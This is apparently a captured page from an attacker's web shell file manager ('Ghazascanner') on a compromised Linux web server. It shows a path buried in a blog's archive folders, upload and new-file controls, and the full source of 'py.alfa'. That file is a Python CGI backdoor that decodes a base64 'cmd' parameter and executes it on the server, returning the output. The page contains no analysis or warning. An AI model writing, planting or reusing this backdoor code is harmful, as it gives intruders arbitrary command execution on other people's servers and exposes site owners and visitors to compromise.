@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux phosweb009 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Current Path :
/
homepage
/
blog
/
cat3
/
2009
/
07
/
ALFA_DATA
/
alfacgiapi
/
Path :
Upload File :
New :
File
Dir
//homepage/blog/cat3/2009/07/ALFA_DATA/alfacgiapi/py.alfa
#!/usr/bin/python try: import cgitb; cgitb.enable() except: pass import os,cgi,base64 form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'}) cmd = form.getvalue('cmd') check = form.getvalue('check') print "Content-type:text/html\r\n\r\n" if cmd: print base64.b64decode(check)+"<pre>" child_stdin, child_stdout = os.popen2(base64.b64decode(cmd)) child_stdin.close() result = child_stdout.read() child_stdout.close() print result.strip() print "</pre>"